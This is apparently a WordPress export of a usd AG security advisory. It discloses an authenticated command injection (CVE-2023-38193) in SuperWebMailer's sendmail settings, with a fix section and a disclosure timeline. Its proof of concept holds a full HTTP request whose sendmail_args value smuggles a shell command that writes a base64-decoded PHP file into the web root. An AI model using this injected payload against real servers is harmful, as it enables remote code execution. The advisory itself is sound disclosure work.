{"id":21150,"date":"2023-10-20T15:06:21","date_gmt":"2023-10-20T13:06:21","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=21150"},"modified":"2023-10-23T10:00:48","modified_gmt":"2023-10-23T08:00:48","slug":"usd-2023-0015","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0015\/","title":{"rendered":"usd-2023-0015"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.22.2\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2023-0015 | RCE in SuperWebMailer<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0015<br \/><strong>Product<\/strong>: SuperWebMailer<br \/><strong>Affected Version<\/strong>: 9.00.0.01710<br \/><strong>Vulnerability Type<\/strong>: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')<br \/><strong>Security Risk<\/strong>: CRITICAL<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/www.superwebmailer.de<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: No<br \/><strong>Vendor Status<\/strong>: Not fixed<br \/><strong>CVE number<\/strong>: CVE-2023-38193<br \/><strong>CVE Link<\/strong>: Pending<\/p>\n<h3>Desciption<\/h3>\n<p>SuperWebMailer is an online application for managing e-mail newsletters. An authenticated command injection vulnerability was discovered during an engagement. In a command injection attack, an attacker provides a malicious input which is passed by the application to the system and then executed.<\/p>\n<p>The application allows to configure different methods to send outgoing e-mail. One of the available options is to configure sendmail. The user interface provides inputs for the path and the arguments to the sendmail binary. These inputs are accepted from the user without any encoding or filtering being applied. Consequently, an attacker may provide inputs that alter the intended effects of the sendmail command.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>First, login with a user with the privileges to create or modify \"Versandvarianten\". A new \"Versandvariante\" can be created by navigating to \"Einstellungen -&gt; Versandvarianten -&gt; Neue Versandvariante anlegen\". The following screenshot shows a possible malicious payload that creates a php file in a user-readable location.<br \/><img decoding=\"async\" alt=\"Screenshot of the RCE payload\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/10\/rce_mta-01-payload.png\" \/><\/p>\n<p>The corresponding request is:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/mtaedit.php<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">2<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">swm.example.com<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">PHPSESSID=8k8n7rmlnugo73d3jjtaeantft; SuperWebMailer=161kd4lr0kv8qplkknm927u0cs; smlswmCsrfToken=20mqIe2UqIA2ya6ImiqaYM2Q6EuYy6y6ya2QUa; ckCsrfToken=owDltMAWfNyS6UeMRck4tE3kPhfh4qaTr6QkSLAQ<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (X11; Linux x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.5<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">556<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">smlswmCsrfToken<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">20mqIe2UqIA2ya6ImiqaYM2Q6EuYy6y6ya2QUa<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">MTAId<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">3<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">Name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">sendmail+test<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">sendmail<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">MailLimit<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">0<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">MTASenderEMailAddress<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">sendmail_path<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">%2Fusr%2Fsbin%2Fsendmail<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">sendmail_args<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">-i%3B+echo+%27PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D%27+%7C+base64+-d+-+%7C+tee+%2Fvar%2Fwww%2Fhtml%2Fuserfiles%2F2%2Ftest-phpinfo.php%3B+cat<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">savetodir_pathname<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SleepInMailSendingLoop<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">0<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SMIMEMessageAsPlainText<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SMIMESignCert<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SMIMESignPrivKey<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SMIMESignPrivKeyPassword<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SMIMESignExtraCerts<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">DKIMSelector<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">DKIMPrivKey<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">DKIMPrivKeyPassword<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">SubmitBtn<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">%C3%84nderungen+speichern<\/span><\/pre>\n<\/div>\n<p>The payload may be triggered by testing the newly created Versandvariante via the overview screen.<br \/><img decoding=\"async\" alt=\"Screenshot of testing the Versandvariante to trigger the payload\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/10\/rce_mta-02-trigger.png\" \/><\/p>\n<p>The created file is accessible under the path specified in the payload.<br \/><img decoding=\"async\" alt=\"Screenshot showing the execution of the created file\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/10\/rce_mta-03-execution.png\" \/><\/p>\n<h3>Fix<\/h3>\n<p>It is recommended that all input to an application is seen as potentially dangerous and thus filter input on the server-side.<br \/>Where possible, an allowlist should be used for filtering.<br \/>Additionally, it is recommended to utilize a programming language's APIs instead of directly issuing system or shell commands.<br \/>Generally, all services should run with minimal required system privileges and users should have minimal required application privileges (least privilege).<\/p>\n<h3>References<\/h3>\n<p><a>https:\/\/cwe.mitre.org\/data\/definitions\/77.html<\/a><br \/>https:\/\/owasp.org\/www-community\/attacks\/Command_Injection<\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-09-26<\/strong>: This vulnerability was discovered by Florian Dewald and Gerbert Roitburd of usd AG.<\/li>\n<li><strong>2023-04-20<\/strong>: First contact request via info@superwebmailer.de.<\/li>\n<li><strong>2023-05-08<\/strong>: Reminder sent via info@superwebmailer.de and contact form.<\/li>\n<li><strong>2023-05-15<\/strong>: Second reminder to webmaster@wt-rate.com and info@superwebmailer.de.<\/li>\n<li><strong>2023-05-25<\/strong>: Another reminder sent to info@superwebmailer.de, webmaster@wt-rate.com and info@wt-rate.com<\/li>\n<li><strong>2023-06-05<\/strong>: Once more tried to inform the company of the vulnerabilities via the feedback form (info@superwebmailer.de).<\/li>\n<li><strong>2023-07-17<\/strong>: Sent another email to info@supermailer.de, webmaster@wt-rate.com, info@wt-rate.com and info@superwebmailer.de, stressing that CVEs are assigned to the vulnerabilities and disclosure may happen in case we do not receive an answer soon.<\/li>\n<li><strong>2023-08-17<\/strong>: As the vulnerabilities were found during a pentest, the customer was asked whether or not the Responsible Disclosure Team should move forward without the software vendor's cooperation.<\/li>\n<li><strong>2023-10-02<\/strong>: Final notice given to info@superwebmailer, warning of immenent disclosure should there be no response within a week.<\/li>\n<li><strong>2023-10-20<\/strong>: Vulnerabilities disclosed by usd AG.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald and Gerbert Roitburd of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0015 | RCE in SuperWebMailer Advisory ID: usd-2023-0015Product: SuperWebMailerAffected Version: 9.00.0.01710Vulnerability Type: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')Security Risk: CRITICALVendor URL: https:\/\/www.superwebmailer.deVendor acknowledged vulnerability: NoVendor Status: Not fixedCVE number: CVE-2023-38193CVE Link: Pending Desciption SuperWebMailer is an online application for managing e-mail newsletters. An authenticated command injection vulnerability was discovered [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21150","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21150"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21150\/revisions"}],"predecessor-version":[{"id":21203,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21150\/revisions\/21203"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}